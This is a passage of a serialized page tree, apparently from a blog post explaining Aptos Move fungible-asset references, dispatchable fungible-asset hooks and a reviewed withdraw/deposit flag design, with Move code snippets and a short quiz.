17,"props":103320,"children":103321},{"style":7048},[103322],{"type":32,"value":10025},{"type":26,"tag":217,"props":103324,"children":103325},{"class":7028,"line":6779},[103326],{"type":26,"tag":217,"props":103327,"children":103328},{"emptyLinePlaceholder":17},[103329],{"type":32,"value":7817},{"type":26,"tag":217,"props":103331,"children":103332},{"class":7028,"line":7140},[103333],{"type":26,"tag":217,"props":103334,"children":103335},{"style":7033},[103336],{"type":32,"value":101272},{"type":26,"tag":217,"props":103338,"children":103339},{"class":7028,"line":7165},[103340,103344,103348,103352,103356,103360,103364,103368],{"type":26,"tag":217,"props":103341,"children":103342},{"style":7054},[103343],{"type":32,"value":52893},{"type":26,"tag":217,"props":103345,"children":103346},{"style":7054},[103347],{"type":32,"value":64784},{"type":26,"tag":217,"props":103349,"children":103350},{"style":7064},[103351],{"type":32,"value":101288},{"type":26,"tag":217,"props":103353,"children":103354},{"style":7048},[103355],{"type":32,"value":1851},{"type":26,"tag":217,"props":103357,"children":103358},{"style":7154},[103359],{"type":32,"value":101297},{"type":26,"tag":217,"props":103361,"children":103362},{"style":7149},[103363],{"type":32,"value":1473},{"type":26,"tag":217,"props":103365,"children":103366},{"style":7119},[103367],{"type":32,"value":101306},{"type":26,"tag":217,"props":103369,"children":103370},{"style":7048},[103371],{"type":32,"value":10025},{"type":26,"tag":39,"props":103373,"children":103374},{},[103375,103377,103382,103384,103390],{"type":32,"value":103376},"On the other hand, the \"frozen\" status of a ",{"type":26,"tag":83,"props":103378,"children":103380},{"className":103379},[],[103381],{"type":32,"value":100028},{"type":32,"value":103383}," is toggled using a ",{"type":26,"tag":83,"props":103385,"children":103387},{"className":103386},[],[103388],{"type":32,"value":103389},"TransferRef",{"type":32,"value":103391},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":26,"tag":207,"props":103393,"children":103395},{"className":56140,"code":103394,"language":56139,"meta":8,"style":8},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[103396],{"type":26,"tag":83,"props":103397,"children":103398},{"__ignoreMap":8},[103399,103435,103459,103486,103505],{"type":26,"tag":217,"props":103400,"children":103401},{"class":7028,"line":7029},[103402,103406,103410,103415,103419,103423,103427,103431],{"type":26,"tag":217,"props":103403,"children":103404},{"style":7054},[103405],{"type":32,"value":52893},{"type":26,"tag":217,"props":103407,"children":103408},{"style":7054},[103409],{"type":32,"value":64784},{"type":26,"tag":217,"props":103411,"children":103412},{"style":7054},[103413],{"type":32,"value":103414}," set_frozen_flag",{"type":26,"tag":217,"props":103416,"children":103417},{"style":7048},[103418],{"type":32,"value":7289},{"type":26,"tag":217,"props":103420,"children":103421},{"style":7119},[103422],{"type":32,"value":178},{"type":26,"tag":217,"props":103424,"children":103425},{"style":7149},[103426],{"type":32,"value":1473},{"type":26,"tag":217,"props":103428,"children":103429},{"style":7054},[103430],{"type":32,"value":78245},{"type":26,"tag":217,"props":103432,"children":103433},{"style":7048},[103434],{"type":32,"value":56861},{"type":26,"tag":217,"props":103436,"children":103437},{"class":7028,"line":6770},[103438,103443,103447,103451,103455],{"type":26,"tag":217,"props":103439,"children":103440},{"style":7154},[103441],{"type":32,"value":103442},"    ref",{"type":26,"tag":217,"props":103444,"children":103445},{"style":7149},[103446],{"type":32,"value":1473},{"type":26,"tag":217,"props":103448,"children":103449},{"style":7149},[103450],{"type":32,"value":10222},{"type":26,"tag":217,"props":103452,"children":103453},{"style":7119},[103454],{"type":32,"value":103389},{"type":26,"tag":217,"props":103456,"children":103457},{"style":7048},[103458],{"type":32,"value":10953},{"type":26,"tag":217,"props":103460,"children":103461},{"class":7028,"line":6779},[103462,103466,103470,103474,103478,103482],{"type":26,"tag":217,"props":103463,"children":103464},{"style":7054},[103465],{"type":32,"value":101651},{"type":26,"tag":217,"props":103467,"children":103468},{"style":7149},[103469],{"type":32,"value":1473},{"type":26,"tag":217,"props":103471,"children":103472},{"style":7119},[103473],{"type":32,"value":99514},{"type":26,"tag":217,"props":103475,"children":103476},{"style":7048},[103477],{"type":32,"value":7289},{"type":26,"tag":217,"props":103479,"children":103480},{"style":7119},[103481],{"type":32,"value":178},{"type":26,"tag":217,"props":103483,"children":103484},{"style":7048},[103485],{"type":32,"value":77713},{"type":26,"tag":217,"props":103487,"children":103488},{"class":7028,"line":7140},[103489,103493,103497,103501],{"type":26,"tag":217,"props":103490,"children":103491},{"style":7054},[103492],{"type":32,"value":99166},{"type":26,"tag":217,"props":103494,"children":103495},{"style":7149},[103496],{"type":32,"value":1473},{"type":26,"tag":217,"props":103498,"children":103499},{"style":7119},[103500],{"type":32,"value":79568},{"type":26,"tag":217,"props":103502,"children":103503},{"style":7048},[103504],{"type":32,"value":10953},{"type":26,"tag":217,"props":103506,"children":103507},{"class":7028,"line":7165},[103508],{"type":26,"tag":217,"props":103509,"children":103510},{"style":7048},[103511],{"type":32,"value":10025},{"type":26,"tag":39,"props":103513,"children":103514},{},[103515,103516,103521,103522,103527],{"type":32,"value":475},{"type":26,"tag":83,"props":103517,"children":103519},{"className":103518},[],[103520],{"type":32,"value":33511},{"type":32,"value":19795},{"type":26,"tag":83,"props":103523,"children":103525},{"className":103524},[],[103526],{"type":32,"value":103389},{"type":32,"value":103528}," is used to transfer object ownership:",{"type":26,"tag":207,"props":103530,"children":103532},{"className":56140,"code":103531,"language":56139,"meta":8,"style":8},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[103533],{"type":26,"tag":83,"props":103534,"children":103535},{"__ignoreMap":8},[103536,103544,103577,103596],{"type":26,"tag":217,"props":103537,"children":103538},{"class":7028,"line":7029},[103539],{"type":26,"tag":217,"props":103540,"children":103541},{"style":7033},[103542],{"type":32,"value":103543},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":26,"tag":217,"props":103545,"children":103546},{"class":7028,"line":6770},[103547,103551,103556,103560,103565,103569,103573],{"type":26,"tag":217,"props":103548,"children":103549},{"style":7154},[103550],{"type":32,"value":12224},{"type":26,"tag":217,"props":103552,"children":103553},{"style":7119},[103554],{"type":32,"value":103555}," TransferRef",{"type":26,"tag":217,"props":103557,"children":103558},{"style":7054},[103559],{"type":32,"value":100053},{"type":26,"tag":217,"props":103561,"children":103562},{"style":7054},[103563],{"type":32,"value":103564}," drop",{"type":26,"tag":217,"props":103566,"children":103567},{"style":7048},[103568],{"type":32,"value":7599},{"type":26,"tag":217,"props":103570,"children":103571},{"style":7054},[103572],{"type":32,"value":78989},{"type":26,"tag":217,"props":103574,"children":103575},{"style":7048},[103576],{"type":32,"value":8064},{"type":26,"tag":217,"props":103578,"children":103579},{"class":7028,"line":6779},[103580,103584,103588,103592],{"type":26,"tag":217,"props":103581,"children":103582},{"style":7154},[103583],{"type":32,"value":92958},{"type":26,"tag":217,"props":103585,"children":103586},{"style":7149},[103587],{"type":32,"value":1473},{"type":26,"tag":217,"props":103589,"children":103590},{"style":7054},[103591],{"type":32,"value":62887},{"type":26,"tag":217,"props":103593,"children":103594},{"style":7048},[103595],{"type":32,"value":10953},{"type":26,"tag":217,"props":103597,"children":103598},{"class":7028,"line":7140},[103599],{"type":26,"tag":217,"props":103600,"children":103601},{"style":7048},[103602],{"type":32,"value":7184},{"type":26,"tag":39,"props":103604,"children":103605},{},[103606,103608,103613],{"type":32,"value":103607},"While the fungible asset's ",{"type":26,"tag":83,"props":103609,"children":103611},{"className":103610},[],[103612],{"type":32,"value":103389},{"type":32,"value":103614}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":26,"tag":207,"props":103616,"children":103618},{"className":56140,"code":103617,"language":56139,"meta":8,"style":8},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[103619],{"type":26,"tag":83,"props":103620,"children":103621},{"__ignoreMap":8},[103622,103630,103638,103669,103696],{"type":26,"tag":217,"props":103623,"children":103624},{"class":7028,"line":7029},[103625],{"type":26,"tag":217,"props":103626,"children":103627},{"style":7033},[103628],{"type":32,"value":103629},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":26,"tag":217,"props":103631,"children":103632},{"class":7028,"line":6770},[103633],{"type":26,"tag":217,"props":103634,"children":103635},{"style":7033},[103636],{"type":32,"value":103637},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":26,"tag":217,"props":103639,"children":103640},{"class":7028,"line":6779},[103641,103645,103649,103653,103657,103661,103665],{"type":26,"tag":217,"props":103642,"children":103643},{"style":7154},[103644],{"type":32,"value":12224},{"type":26,"tag":217,"props":103646,"children":103647},{"style":7119},[103648],{"type":32,"value":103555},{"type":26,"tag":217,"props":103650,"children":103651},{"style":7054},[103652],{"type":32,"value":100053},{"type":26,"tag":217,"props":103654,"children":103655},{"style":7054},[103656],{"type":32,"value":103564},{"type":26,"tag":217,"props":103658,"children":103659},{"style":7048},[103660],{"type":32,"value":7599},{"type":26,"tag":217,"props":103662,"children":103663},{"style":7054},[103664],{"type":32,"value":78989},{"type":26,"tag":217,"props":103666,"children":103667},{"style":7048},[103668],{"type":32,"value":8064},{"type":26,"tag":217,"props":103670,"children":103671},{"class":7028,"line":7140},[103672,103676,103680,103684,103688,103692],{"type":26,"tag":217,"props":103673,"children":103674},{"style":7054},[103675],{"type":32,"value":99505},{"type":26,"tag":217,"props":103677,"children":103678},{"style":7149},[103679],{"type":32,"value":1473},{"type":26,"tag":217,"props":103681,"children":103682},{"style":7119},[103683],{"type":32,"value":99514},{"type":26,"tag":217,"props":103685,"children":103686},{"style":7048},[103687],{"type":32,"value":7289},{"type":26,"tag":217,"props":103689,"children":103690},{"style":7119},[103691],{"type":32,"value":99523},{"type":26,"tag":217,"props":103693,"children":103694},{"style":7048},[103695],{"type":32,"value":7281},{"type":26,"tag":217,"props":103697,"children":103698},{"class":7028,"line":7165},[103699],{"type":26,"tag":217,"props":103700,"children":103701},{"style":7048},[103702],{"type":32,"value":7184},{"type":26,"tag":39,"props":103704,"children":103705},{},[103706,103708,103714,103716,103722],{"type":32,"value":103707},"Additionally, there are fungible asset-specific references such as ",{"type":26,"tag":83,"props":103709,"children":103711},{"className":103710},[],[103712],{"type":32,"value":103713},"MintRef",{"type":32,"value":103715}," for minting and ",{"type":26,"tag":83,"props":103717,"children":103719},{"className":103718},[],[103720],{"type":32,"value":103721},"BurnRef",{"type":32,"value":103723}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":26,"tag":27,"props":103725,"children":103727},{"id":103726},"dispatchable-fungible-assets",[103728],{"type":32,"value":103729},"Dispatchable fungible assets",{"type":26,"tag":39,"props":103731,"children":103732},{},[103733],{"type":32,"value":103734},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":26,"tag":39,"props":103736,"children":103737},{},[103738],{"type":32,"value":103739},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":26,"tag":103741,"props":103742,"children":103743},"warning",{},[103744],{"type":26,"tag":39,"props":103745,"children":103746},{},[103747,103749,103755],{"type":32,"value":103748},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":26,"tag":83,"props":103750,"children":103752},{"className":103751},[],[103753],{"type":32,"value":103754},"transfer_assert_minimum_deposit",{"type":32,"value":103756}," that can help mitigate such risks.",{"type":26,"tag":39,"props":103758,"children":103759},{},[103760,103762,103767,103769,103776],{"type":32,"value":103761},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":26,"tag":83,"props":103763,"children":103765},{"className":103764},[],[103766],{"type":32,"value":52893},{"type":32,"value":103768}," to ensure ",{"type":26,"tag":163,"props":103770,"children":103773},{"href":103771,"rel":103772},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[167],[103774],{"type":32,"value":103775},"their signature remains immutable",{"type":32,"value":103777},". An example implementation might look like this:",{"type":26,"tag":207,"props":103779,"children":103781},{"className":56140,"code":103780,"language":56139,"meta":8,"style":8},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[103782],{"type":26,"tag":83,"props":103783,"children":103784},{"__ignoreMap":8},[103785,103821,103848,103867,103891,103910,103918,103964,103971,103978,104014,104041,104061,104084,104091,104098,104142],{"type":26,"tag":217,"props":103786,"children":103787},{"class":7028,"line":7029},[103788,103792,103796,103801,103805,103809,103813,103817],{"type":26,"tag":217,"props":103789,"children":103790},{"style":7054},[103791],{"type":32,"value":52893},{"type":26,"tag":217,"props":103793,"children":103794},{"style":7054},[103795],{"type":32,"value":64784},{"type":26,"tag":217,"props":103797,"children":103798},{"style":7054},[103799],{"type":32,"value":103800}," withdraw_hook",{"type":26,"tag":217,"props":103802,"children":103803},{"style":7048},[103804],{"type":32,"value":7289},{"type":26,"tag":217,"props":103806,"children":103807},{"style":7119},[103808],{"type":32,"value":178},{"type":26,"tag":217,"props":103810,"children":103811},{"style":7149},[103812],{"type":32,"value":1473},{"type":26,"tag":217,"props":103814,"children":103815},{"style":7054},[103816],{"type":32,"value":78245},{"type":26,"tag":217,"props":103818,"children":103819},{"style":7048},[103820],{"type":32,"value":56861},{"type":26,"tag":217,"props":103822,"children":103823},{"class":7028,"line":6770},[103824,103828,103832,103836,103840,103844],{"type":26,"tag":217,"props":103825,"children":103826},{"style":7054},[103827],{"type":32,"value":101651},{"type":26,"tag":217,"props":103829,"children":103830},{"style":7149},[103831],{"type":32,"value":1473},{"type":26,"tag":217,"props":103833,"children":103834},{"style":7119},[103835],{"type":32,"value":99514},{"type":26,"tag":217,"props":103837,"children":103838},{"style":7048},[103839],{"type":32,"value":7289},{"type":26,"tag":217,"props":103841,"children":103842},{"style":7119},[103843],{"type":32,"value":178},{"type":26,"tag":217,"props":103845,"children":103846},{"style":7048},[103847],{"type":32,"value":77713},{"type":26,"tag":217,"props":103849,"children":103850},{"class":7028,"line":6779},[103851,103855,103859,103863],{"type":26,"tag":217,"props":103852,"children":103853},{"style":7054},[103854],{"type":32,"value":83520},{"type":26,"tag":217,"props":103856,"children":103857},{"style":7149},[103858],{"type":32,"value":1473},{"type":26,"tag":217,"props":103860,"children":103861},{"style":7119},[103862],{"type":32,"value":91146},{"type":26,"tag":217,"props":103864,"children":103865},{"style":7048},[103866],{"type":32,"value":10953},{"type":26,"tag":217,"props":103868,"children":103869},{"class":7028,"line":7140},[103870,103875,103879,103883,103887],{"type":26,"tag":217,"props":103871,"children":103872},{"style":7054},[103873],{"type":32,"value":103874},"    transfer_ref",{"type":26,"tag":217,"props":103876,"children":103877},{"style":7149},[103878],{"type":32,"value":1473},{"type":26,"tag":217,"props":103880,"children":103881},{"style":7149},[103882],{"type":32,"value":10222},{"type":26,"tag":217,"props":103884,"children":103885},{"style":7119},[103886],{"type":32,"value":103389},{"type":26,"tag":217,"props":103888,"children":103889},{"style":7048},[103890],{"type":32,"value":10953},{"type":26,"tag":217,"props":103892,"children":103893},{"class":7028,"line":7165},[103894,103898,103902,103906],{"type":26,"tag":217,"props":103895,"children":103896},{"style":7048},[103897],{"type":32,"value":1889},{"type":26,"tag":217,"props":103899,"children":103900},{"style":7149},[103901],{"type":32,"value":1473},{"type":26,"tag":217,"props":103903,"children":103904},{"style":7119},[103905],{"type":32,"value":99493},{"type":26,"tag":217,"props":103907,"children":103908},{"style":7048},[103909],{"type":32,"value":8064},{"type":26,"tag":217,"props":103911,"children":103912},{"class":7028,"line":7178},[103913],{"type":26,"tag":217,"props":103914,"children":103915},{"style":7033},[103916],{"type":32,"value":103917},"    //check paused, gather fees etc.\n",{"type":26,"tag":217,"props":103919,"children":103920},{"class":7028,"line":7389},[103921,103926,103930,103935,103939,103944,103948,103952,103956,103960],{"type":26,"tag":217,"props":103922,"children":103923},{"style":7048},[103924],{"type":32,"value":103925},"    fungible_asset",{"type":26,"tag":217,"props":103927,"children":103928},{"style":7149},[103929],{"type":32,"value":56166},{"type":26,"tag":217,"props":103931,"children":103932},{"style":7064},[103933],{"type":32,"value":103934},"withdraw_with_ref",{"type":26,"tag":217,"props":103936,"children":103937},{"style":7048},[103938],{"type":32,"value":1851},{"type":26,"tag":217,"props":103940,"children":103941},{"style":7054},[103942],{"type":32,"value":103943},"transfer_ref",{"type":26,"tag":217,"props":103945,"children":103946},{"style":7048},[103947],{"type":32,"value":7599},{"type":26,"tag":217,"props":103949,"children":103950},{"style":7054},[103951],{"type":32,"value":78989},{"type":26,"tag":217,"props":103953,"children":103954},{"style":7048},[103955],{"type":32,"value":7599},{"type":26,"tag":217,"props":103957,"children":103958},{"style":7054},[103959],{"type":32,"value":99767},{"type":26,"tag":217,"props":103961,"children":103962},{"style":7048},[103963],{"type":32,"value":10025},{"type":26,"tag":217,"props":103965,"children":103966},{"class":7028,"line":7406},[103967],{"type":26,"tag":217,"props":103968,"children":103969},{"style":7048},[103970],{"type":32,"value":7184},{"type":26,"tag":217,"props":103972,"children":103973},{"class":7028,"line":7439},[103974],{"type":26,"tag":217,"props":103975,"children":103976},{"emptyLinePlaceholder":17},[103977],{"type":32,"value":7817},{"type":26,"tag":217,"props":103979,"children":103980},{"class":7028,"line":7487},[103981,103985,103989,103994,103998,104002,104006,104010],{"type":26,"tag":217,"props":103982,"children":103983},{"style":7054},[103984],{"type":32,"value":52893},{"type":26,"tag":217,"props":103986,"children":103987},{"style":7054},[103988],{"type":32,"value":64784},{"type":26,"tag":217,"props":103990,"children":103991},{"style":7054},[103992],{"type":32,"value":103993}," deposit_hook",{"type":26,"tag":217,"props":103995,"children":103996},{"style":7048},[103997],{"type":32,"value":7289},{"type":26,"tag":217,"props":103999,"children":104000},{"style":7119},[104001],{"type":32,"value":178},{"type":26,"tag":217,"props":104003,"children":104004},{"style":7149},[104005],{"type":32,"value":1473},{"type":26,"tag":217,"props":104007,"children":104008},{"style":7054},[104009],{"type":32,"value":78245},{"type":26,"tag":217,"props":104011,"children":104012},{"style":7048},[104013],{"type":32,"value":56861},{"type":26,"tag":217,"props":104015,"children":104016},{"class":7028,"line":7524},[104017,104021,104025,104029,104033,104037],{"type":26,"tag":217,"props":104018,"children":104019},{"style":7054},[104020],{"type":32,"value":101651},{"type":26,"tag":217,"props":104022,"children":104023},{"style":7149},[104024],{"type":32,"value":1473},{"type":26,"tag":217,"props":104026,"children":104027},{"style":7119},[104028],{"type":32,"value":99514},{"type":26,"tag":217,"props":104030,"children":104031},{"style":7048},[104032],{"type":32,"value":7289},{"type":26,"tag":217,"props":104034,"children":104035},{"style":7119},[104036],{"type":32,"value":178},{"type":26,"tag":217,"props":104038,"children":104039},{"style":7048},[104040],{"type":32,"value":77713},{"type":26,"tag":217,"props":104042,"children":104043},{"class":7028,"line":7553},[104044,104049,104053,104057],{"type":26,"tag":217,"props":104045,"children":104046},{"style":7054},[104047],{"type":32,"value":104048},"    fa",{"type":26,"tag":217,"props":104050,"children":104051},{"style":7149},[104052],{"type":32,"value":1473},{"type":26,"tag":217,"props":104054,"children":104055},{"style":7119},[104056],{"type":32,"value":99493},{"type":26,"tag":217,"props":104058,"children":104059},{"style":7048},[104060],{"type":32,"value":10953},{"type":26,"tag":217,"props":104062,"children":104063},{"class":7028,"line":7570},[104064,104068,104072,104076,104080],{"type":26,"tag":217,"props":104065,"children":104066},{"style":7054},[104067],{"type":32,"value":103874},{"type":26,"tag":217,"props":104069,"children":104070},{"style":7149},[104071],{"type":32,"value":1473},{"type":26,"tag":217,"props":104073,"children":104074},{"style":7149},[104075],{"type":32,"value":10222},{"type":26,"tag":217,"props":104077,"children":104078},{"style":7119},[104079],{"type":32,"value":103389},{"type":26,"tag":217,"props":104081,"children":104082},{"style":7048},[104083],{"type":32,"value":10953},{"type":26,"tag":217,"props":104085,"children":104086},{"class":7028,"line":7621},[104087],{"type":26,"tag":217,"props":104088,"children":104089},{"style":7048},[104090],{"type":32,"value":7618},{"type":26,"tag":217,"props":104092,"children":104093},{"class":7028,"line":7672},[104094],{"type":26,"tag":217,"props":104095,"children":104096},{"style":7033},[104097],{"type":32,"value":103917},{"type":26,"tag":217,"props":104099,"children":104100},{"class":7028,"line":7681},[104101,104105,104109,104114,104118,104122,104126,104130,104134,104138],{"type":26,"tag":217,"props":104102,"children":104103},{"style":7048},[104104],{"type":32,"value":103925},{"type":26,"tag":217,"props":104106,"children":104107},{"style":7149},[104108],{"type":32,"value":56166},{"type":26,"tag":217,"props":104110,"children":104111},{"style":7064},[104112],{"type":32,"value":104113},"deposit_with_ref",{"type":26,"tag":217,"props":104115,"children":104116},{"style":7048},[104117],{"type":32,"value":1851},{"type":26,"tag":217,"props":104119,"children":104120},{"style":7054},[104121],{"type":32,"value":103943},{"type":26,"tag":217,"props":104123,"children":104124},{"style":7048},[104125],{"type":32,"value":7599},{"type":26,"tag":217,"props":104127,"children":104128},{"style":7054},[104129],{"type":32,"value":78989},{"type":26,"tag":217,"props":104131,"children":104132},{"style":7048},[104133],{"type":32,"value":7599},{"type":26,"tag":217,"props":104135,"children":104136},{"style":7054},[104137],{"type":32,"value":99684},{"type":26,"tag":217,"props":104139,"children":104140},{"style":7048},[104141],{"type":32,"value":7669},{"type":26,"tag":217,"props":104143,"children":104144},{"class":7028,"line":7754},[104145],{"type":26,"tag":217,"props":104146,"children":104147},{"style":7048},[104148],{"type":32,"value":7184},{"type":26,"tag":104150,"props":104151,"children":104152},"question",{},[104153,104181],{"type":26,"tag":39,"props":104154,"children":104155},{},[104156,104158,104164,104166,104172,104174,104180],{"type":32,"value":104157},"Why hook functions rely on ",{"type":26,"tag":83,"props":104159,"children":104161},{"className":104160},[],[104162],{"type":32,"value":104163},"*_with_ref",{"type":32,"value":104165}," calls? What would happen if the hook function called ",{"type":26,"tag":83,"props":104167,"children":104169},{"className":104168},[],[104170],{"type":32,"value":104171},"dispatchable_fungible_asset::withdraw",{"type":32,"value":104173}," instead of a ",{"type":26,"tag":83,"props":104175,"children":104177},{"className":104176},[],[104178],{"type":32,"value":104179},"fungible_asset::withdraw_with_ref",{"type":32,"value":605},{"type":26,"tag":74658,"props":104182,"children":104183},{"v-slot:answer-0":8},[104184,104196],{"type":26,"tag":39,"props":104185,"children":104186},{},[104187,104189,104194],{"type":32,"value":104188},"A1: Hook functions rely on ",{"type":26,"tag":83,"props":104190,"children":104192},{"className":104191},[],[104193],{"type":32,"value":104163},{"type":32,"value":104195}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":26,"tag":39,"props":104197,"children":104198},{},[104199,104201,104206],{"type":32,"value":104200},"A2: A ",{"type":26,"tag":83,"props":104202,"children":104204},{"className":104203},[],[104205],{"type":32,"value":104171},{"type":32,"value":104207}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":26,"tag":39,"props":104209,"children":104210},{},[104211],{"type":32,"value":104212},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":26,"tag":207,"props":104214,"children":104216},{"className":56140,"code":104215,"language":56139,"meta":8,"style":8},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[104217],{"type":26,"tag":83,"props":104218,"children":104219},{"__ignoreMap":8},[104220,104315,104335,104350,104370,104413,104428,104435,104442,104563,104582,104597,104616,104659],{"type":26,"tag":217,"props":104221,"children":104222},{"class":7028,"line":7029},[104223,104227,104231,104235,104239,104243,104247,104251,104255,104259,104263,104267,104271,104275,104279,104283,104287,104291,104295,104299,104303,104307,104311],{"type":26,"tag":217,"props":104224,"children":104225},{"style":7054},[104226],{"type":32,"value":52893},{"type":26,"tag":217,"props":104228,"children":104229},{"style":7054},[104230],{"type":32,"value":64784},{"type":26,"tag":217,"props":104232,"children":104233},{"style":7054},[104234],{"type":32,"value":99635},{"type":26,"tag":217,"props":104236,"children":104237},{"style":7048},[104238],{"type":32,"value":7289},{"type":26,"tag":217,"props":104240,"children":104241},{"style":7119},[104242],{"type":32,"value":178},{"type":26,"tag":217,"props":104244,"children":104245},{"style":7149},[104246],{"type":32,"value":1473},{"type":26,"tag":217,"props":104248,"children":104249},{"style":7054},[104250],{"type":32,"value":78245},{"type":26,"tag":217,"props":104252,"children":104253},{"style":7048},[104254],{"type":32,"value":100384},{"type":26,"tag":217,"props":104256,"children":104257},{"style":7054},[104258],{"type":32,"value":78989},{"type":26,"tag":217,"props":104260,"children":104261},{"style":7149},[104262],{"type":32,"value":1473},{"type":26,"tag":217,"props":104264,"children":104265},{"style":7119},[104266],{"type":32,"value":99514},{"type":26,"tag":217,"props":104268,"children":104269},{"style":7048},[104270],{"type":32,"value":7289},{"type":26,"tag":217,"props":104272,"children":104273},{"style":7119},[104274],{"type":32,"value":178},{"type":26,"tag":217,"props":104276,"children":104277},{"style":7048},[104278],{"type":32,"value":56967},{"type":26,"tag":217,"props":104280,"children":104281},{"style":7054},[104282],{"type":32,"value":99684},{"type":26,"tag":217,"props":104284,"children":104285},{"style":7149},[104286],{"type":32,"value":1473},{"type":26,"tag":217,"props":104288,"children":104289},{"style":7119},[104290],{"type":32,"value":99493},{"type":26,"tag":217,"props":104292,"children":104293},{"style":7048},[104294],{"type":32,"value":7599},{"type":26,"tag":217,"props":104296,"children":104297},{"style":7054},[104298],{"type":32,"value":103943},{"type":26,"tag":217,"props":104300,"children":104301},{"style":7149},[104302],{"type":32,"value":1473},{"type":26,"tag":217,"props":104304,"children":104305},{"style":7149},[104306],{"type":32,"value":10222},{"type":26,"tag":217,"props":104308,"children":104309},{"style":7119},[104310],{"type":32,"value":103389},{"type":26,"tag":217,"props":104312,"children":104313},{"style":7048},[104314],{"type":32,"value":7618},{"type":26,"tag":217,"props":104316,"children":104317},{"class":7028,"line":6770},[104318,104323,104327,104331],{"type":26,"tag":217,"props":104319,"children":104320},{"style":7064},[104321],{"type":32,"value":104322},"    assert_withdraw_flag",{"type":26,"tag":217,"props":104324,"children":104325},{"style":7048},[104326],{"type":32,"value":1851},{"type":26,"tag":217,"props":104328,"children":104329},{"style":7154},[104330],{"type":32,"value":231},{"type":26,"tag":217,"props":104332,"children":104333},{"style":7048},[104334],{"type":32,"value":7669},{"type":26,"tag":217,"props":104336,"children":104337},{"class":7028,"line":6779},[104338,104342,104346],{"type":26,"tag":217,"props":104339,"children":104340},{"style":7048},[104341],{"type":32,"value":100675},{"type":26,"tag":217,"props":104343,"children":104344},{"style":7149},[104345],{"type":32,"value":13251},{"type":26,"tag":217,"props":104347,"children":104348},{"style":7048},[104349],{"type":32,"value":13256},{"type":26,"tag":217,"props":104351,"children":104352},{"class":7028,"line":7140},[104353,104358,104362,104366],{"type":26,"tag":217,"props":104354,"children":104355},{"style":7064},[104356],{"type":32,"value":104357},"    set_withdraw_flag",{"type":26,"tag":217,"props":104359,"children":104360},{"style":7048},[104361],{"type":32,"value":1851},{"type":26,"tag":217,"props":104363,"children":104364},{"style":7154},[104365],{"type":32,"value":60208},{"type":26,"tag":217,"props":104367,"children":104368},{"style":7048},[104369],{"type":32,"value":7669},{"type":26,"tag":217,"props":104371,"children":104372},{"class":7028,"line":7165},[104373,104377,104381,104385,104389,104393,104397,104401,104405,104409],{"type":26,"tag":217,"props":104374,"children":104375},{"style":7048},[104376],{"type":32,"value":103925},{"type":26,"tag":217,"props":104378,"children":104379},{"style":7149},[104380],{"type":32,"value":56166},{"type":26,"tag":217,"props":104382,"children":104383},{"style":7064},[104384],{"type":32,"value":104113},{"type":26,"tag":217,"props":104386,"children":104387},{"style":7048},[104388],{"type":32,"value":1851},{"type":26,"tag":217,"props":104390,"children":104391},{"style":7054},[104392],{"type":32,"value":103943},{"type":26,"tag":217,"props":104394,"children":104395},{"style":7048},[104396],{"type":32,"value":7599},{"type":26,"tag":217,"props":104398,"children":104399},{"style":7054},[104400],{"type":32,"value":78989},{"type":26,"tag":217,"props":104402,"children":104403},{"style":7048},[104404],{"type":32,"value":7599},{"type":26,"tag":217,"props":104406,"children":104407},{"style":7054},[104408],{"type":32,"value":99767},{"type":26,"tag":217,"props":104410,"children":104411},{"style":7048},[104412],{"type":32,"value":7669},{"type":26,"tag":217,"props":104414,"children":104415},{"class":7028,"line":7178},[104416,104420,104424],{"type":26,"tag":217,"props":104417,"children":104418},{"style":7048},[104419],{"type":32,"value":100675},{"type":26,"tag":217,"props":104421,"children":104422},{"style":7149},[104423],{"type":32,"value":13251},{"type":26,"tag":217,"props":104425,"children":104426},{"style":7048},[104427],{"type":32,"value":13256},{"type":26,"tag":217,"props":104429,"children":104430},{"class":7028,"line":7389},[104431],{"type":26,"tag":217,"props":104432,"chil